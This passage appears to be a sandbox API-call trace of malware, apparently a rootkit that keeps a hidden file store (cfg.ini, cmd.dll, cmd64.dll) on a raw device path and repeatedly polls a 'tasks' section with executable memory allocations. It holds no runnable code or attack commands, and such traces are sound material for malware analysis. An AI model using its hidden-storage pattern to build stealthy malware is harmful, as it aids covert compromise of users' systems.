[0120.412] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.412] KeLeaveCriticalRegion () [0120.412] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0120.413] _snprintf (in: _Dest=0xfffff880028cc790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0120.413] KeEnterCriticalRegion () [0120.413] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.413] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8007ffba30, Context=0x0) returned 0x0 [0120.413] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.413] KeLeaveCriticalRegion () [0120.413] _snprintf (in: _Dest=0xfffff880028cc750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0120.413] KeEnterCriticalRegion () [0120.413] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.413] IoGetRequestorProcess (Irp=0xfffffa8007ffba30) returned 0xfffffa80034fca60 [0120.413] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa8003bbaa80, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0120.413] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.413] KeLeaveCriticalRegion () [0120.413] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0120.413] _snprintf (in: _Dest=0xfffff880028cc770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0120.413] KeEnterCriticalRegion () [0120.413] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.413] ExFreePoolWithTag (P=0xfffffa80039d93c0, Tag=0x0) [0120.413] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.413] KeLeaveCriticalRegion () [0120.413] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0120.413] ReleaseMutex (hMutex=0xf0) returned 1 [0120.413] Sleep (dwMilliseconds=0x927c0) [0120.428] VirtualAlloc (lpAddress=0x0, dwSize=0x5000, flAllocationType=0x3000, flProtect=0x40) returned 0x390000 [0120.428] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0120.428] GetPrivateProfileSectionA (in: lpAppName="tasks", lpReturnedString=0x390000, nSize=0x5000, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini" | out: lpReturnedString="") returned 0x0 [0120.428] _snprintf (in: _Dest=0xfffff880028cc450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0120.428] KeEnterCriticalRegion () [0120.428] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.428] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0120.428] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003b863b0 [0120.428] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0120.428] KeInitializeEvent (in: Event=0xfffff880028cc2c0, Type=0x0, State=0 | out: Event=0xfffff880028cc2c0) [0120.428] IdePortDispatch () returned 0x103 [0120.429] KeWaitForMutexObject () returned 0x0 [0120.429] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0120.429] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0120.429] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0120.429] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0120.429] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0120.429] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa8003bba9c0 [0120.429] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.429] KeLeaveCriticalRegion () [0120.429] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0120.429] _snprintf (in: _Dest=0xfffff880028cc780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0120.429] KeEnterCriticalRegion () [0120.429] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.429] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8007ffba30, Context=0x0) returned 0x0 [0120.429] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.429] KeLeaveCriticalRegion () [0120.429] _snprintf (in: _Dest=0xfffff880028cc790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0120.429] KeEnterCriticalRegion () [0120.429] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.429] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0120.429] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003b863b0 [0120.429] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0120.429] KeInitializeEvent (in: Event=0xfffff880028cc620, Type=0x0, State=0 | out: Event=0xfffff880028cc620) [0120.429] IdePortDispatch () returned 0x103 [0120.429] KeWaitForMutexObject () returned 0x0 [0120.429] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0120.429] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.429] KeLeaveCriticalRegion () [0120.429] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0120.429] _snprintf (in: _Dest=0xfffff880028cc770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0120.430] KeEnterCriticalRegion () [0120.430] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.430] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff88003466000 [0120.430] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0120.430] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003aab1d0 [0120.430] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003aab1d0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003aab1d0) [0120.430] KeInitializeEvent (in: Event=0xfffff880028cc5d0, Type=0x0, State=0 | out: Event=0xfffff880028cc5d0) [0120.430] IdePortDispatch () returned 0x103 [0120.430] KeWaitForMutexObject () returned 0x0 [0120.430] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0120.430] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0120.430] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003aab1d0 [0120.430] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003aab1d0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003aab1d0) [0120.430] KeInitializeEvent (in: Event=0xfffff880028cc5d0, Type=0x0, State=0 | out: Event=0xfffff880028cc5d0) [0120.430] IdePortDispatch () returned 0x103 [0120.430] KeWaitForMutexObject () returned 0x0 [0120.430] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.430] KeLeaveCriticalRegion () [0120.430] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0120.431] _snprintf (in: _Dest=0xfffff880028cc790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0120.431] KeEnterCriticalRegion () [0120.431] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.431] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8007ffba30, Context=0x0) returned 0x0 [0120.431] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.431] KeLeaveCriticalRegion () [0120.431] _snprintf (in: _Dest=0xfffff880028cc750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0120.431] KeEnterCriticalRegion () [0120.431] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.431] IoGetRequestorProcess (Irp=0xfffffa8007ffba30) returned 0xfffffa80034fca60 [0120.431] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa8003bbaa80, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0120.431] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.431] KeLeaveCriticalRegion () [0120.431] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0120.431] _snprintf (in: _Dest=0xfffff880028cc770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0120.431] KeEnterCriticalRegion () [0120.431] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.431] ExFreePoolWithTag (P=0xfffffa8003bba9c0, Tag=0x0) [0120.431] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.431] KeLeaveCriticalRegion () [0120.431] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0120.431] ReleaseMutex (hMutex=0xf0) returned 1 [0120.431] Sleep (dwMilliseconds=0x927c0) [0120.445] VirtualAlloc (lpAddress=0x0, dwSize=0x5000, flAllocationType=0x3000, flProtect=0x40) returned 0x390000 [0120.445] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0120.445] GetPrivateProfileSectionA (in: lpAppName="tasks", lpReturnedString=0x390000, nSize=0x5000, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini" | out: lpReturnedString="") returned 0x0 [0120.445] _snprintf (in: _Dest=0xfffff880028cc450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0120.445] KeEnterCriticalRegion () [0120.445] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.445] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0120.445] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003b863b0 [0120.445] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0120.445] KeInitializeEvent (in: Event=0xfffff880028cc2c0, Type=0x0, State=0 | out: Event=0xfffff880028cc2c0) [0120.445] IdePortDispatch () returned 0x103 [0120.445] KeWaitForMutexObject () returned 0x0 [0120.445] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0120.445] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0120.445] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0120.445] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0120.445] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0120.445] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa8003bbc080 [0120.446] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.446] KeLeaveCriticalRegion () [0120.446] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0120.446] _snprintf (in: _Dest=0xfffff880028cc780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0120.446] KeEnterCriticalRegion () [0120.446] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.446] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8007ffba30, Context=0x0) returned 0x0 [0120.446] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.446] KeLeaveCriticalRegion () [0120.446] _snprintf (in: _Dest=0xfffff880028cc790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0120.446] KeEnterCriticalRegion () [0120.446] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.446] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0120.446] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003b863b0 [0120.446] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0120.446] KeInitializeEvent (in: Event=0xfffff880028cc620, Type=0x0, State=0 | out: Event=0xfffff880028cc620) [0120.446] IdePortDispatch () returned 0x103 [0120.446] KeWaitForMutexObject () returned 0x0 [0120.446] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0120.446] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.446] KeLeaveCriticalRegion () [0120.446] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0120.446] _snprintf (in: _Dest=0xfffff880028cc770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0120.446] KeEnterCriticalRegion () [0120.446] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.446] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff8800346b000 [0120.446] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0120.446] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003aab1d0 [0120.446] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003aab1d0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003aab1d0) [0120.446] KeInitializeEvent (in: Event=0xfffff880028cc5d0, Type=0x0, State=0 | out: Event=0xfffff880028cc5d0) [0120.446] IdePortDispatch () returned 0x103 [0120.446] KeWaitForMutexObject () returned 0x0 [0120.447] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0120.447] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0120.447] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003aab1d0 [0120.447] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003aab1d0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003aab1d0) [0120.447] KeInitializeEvent (in: Event=0xfffff880028cc5d0, Type=0x0, State=0 | out: Event=0xfffff880028cc5d0) [0120.447] IdePortDispatch () returned 0x103 [0120.447] KeWaitForMutexObject () returned 0x0 [0120.447] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.447] KeLeaveCriticalRegion () [0120.447] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0120.447] _snprintf (in: _Dest=0xfffff880028cc790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0120.447] KeEnterCriticalRegion () [0120.447] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.447] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8007ffba30, Context=0x0) returned 0x0 [0120.447] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.447] KeLeaveCriticalRegion () [0120.447] _snprintf (in: _Dest=0xfffff880028cc750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0120.448] KeEnterCriticalRegion () [0120.448] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.448] IoGetRequestorProcess (Irp=0xfffffa8007ffba30) returned 0xfffffa80034fca60 [0120.448] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa8003bbc140, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0120.448] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.448] KeLeaveCriticalRegion () [0120.448] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0120.448] _snprintf (in: _Dest=0xfffff880028cc770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0120.448] KeEnterCriticalRegion () [0120.448] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.448] ExFreePoolWithTag (P=0xfffffa8003bbc080, Tag=0x0) [0120.448] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.448] KeLeaveCriticalRegion () [0120.448] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0120.448] ReleaseMutex (hMutex=0xf0) returned 1 [0120.448] Sleep (dwMilliseconds=0x927c0) [0120.463] VirtualAlloc (lpAddress=0x0, dwSize=0x5000, flAllocationType=0x3000, flProtect=0x40) returned 0x390000 [0120.463] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0120.463] GetPrivateProfileSectionA (in: lpAppName="tasks", lpReturnedString=0x390000, nSize=0x5000, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini" | out: lpReturnedString="") returned 0x0 [0120.463] _snprintf (in: _Dest=0xfffff880028cc450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0120.463] KeEnterCriticalRegion () [0120.463] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.463] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0120.463] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003b863b0 [0120.463] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0120.463] KeInitializeEvent (in: Event=0xfffff880028cc2c0, Type=0x0, State=0 | out: Event=0xfffff880028cc2c0) [0120.463] IdePortDispatch () returned 0x103 [0120.463] KeWaitForMutexObject () returned 0x0 [0120.464] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0120.464] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0120.464] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0120.464] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0120.464] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0120.464] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa8003bba9c0 [0120.464] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.464] KeLeaveCriticalRegion () [0120.464] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0120.464] _snprintf (in: _Dest=0xfffff880028cc780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0120.464] KeEnterCriticalRegion () [0120.464] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.464] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8007ffba30, Context=0x0) returned 0x0 [0120.464] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.464] KeLeaveCriticalRegion () [0120.464] _snprintf (in: _Dest=0xfffff880028cc790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0120.464] KeEnterCriticalRegion () [0120.464] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.464] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0120.464] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003b863b0 [0120.464] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0120.464] KeInitializeEvent (in: Event=0xfffff880028cc620, Type=0x0, State=0 | out: Event=0xfffff880028cc620) [0120.464] IdePortDispatch () returned 0x103 [0120.464] KeWaitForMutexObject () returned 0x0 [0120.464] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0120.464] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.464] KeLeaveCriticalRegion () [0120.464] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0120.464] _snprintf (in: _Dest=0xfffff880028cc770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0120.464] KeEnterCriticalRegion () [0120.464] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.464] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff88003470000 [0120.464] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0120.464] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003aab1d0 [0120.465] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003aab1d0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003aab1d0) [0120.465] KeInitializeEvent (in: Event=0xfffff880028cc5d0, Type=0x0, State=0 | out: Event=0xfffff880028cc5d0) [0120.465] IdePortDispatch () returned 0x103 [0120.465] KeWaitForMutexObject () returned 0x0 [0120.465] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0120.465] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0120.465] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003aab1d0 [0120.465] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003aab1d0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003aab1d0) [0120.465] KeInitializeEvent (in: Event=0xfffff880028cc5d0, Type=0x0, State=0 | out: Event=0xfffff880028cc5d0) [0120.465] IdePortDispatch () returned 0x103 [0120.465] KeWaitForMutexObject () returned 0x0 [0120.465] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.465] KeLeaveCriticalRegion () [0120.465] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0120.465] _snprintf (in: _Dest=0xfffff880028cc790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0120.466] KeEnterCriticalRegion () [0120.466] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.466] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8007ffba30, Context=0x0) returned 0x0 [0120.466] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.466] KeLeaveCriticalRegion () [0120.466] _snprintf (in: _Dest=0xfffff880028cc750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0120.466] KeEnterCriticalRegion () [0120.466] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.466] IoGetRequestorProcess (Irp=0xfffffa8007ffba30) returned 0xfffffa80034fca60 [0120.466] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa8003bbadd0, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0120.466] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.466] KeLeaveCriticalRegion () [0120.466] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0120.466] _snprintf (in: _Dest=0xfffff880028cc770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0120.466] KeEnterCriticalRegion () [0120.466] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.466] ExFreePoolWithTag (P=0xfffffa8003bba9c0, Tag=0x0) [0120.466] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.466] KeLeaveCriticalRegion () [0120.466] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0120.466] ReleaseMutex (hMutex=0xf0) returned 1 [0120.466] Sleep (dwMilliseconds=0x927c0) [0120.480] VirtualAlloc (lpAddress=0x0, dwSize=0x5000, 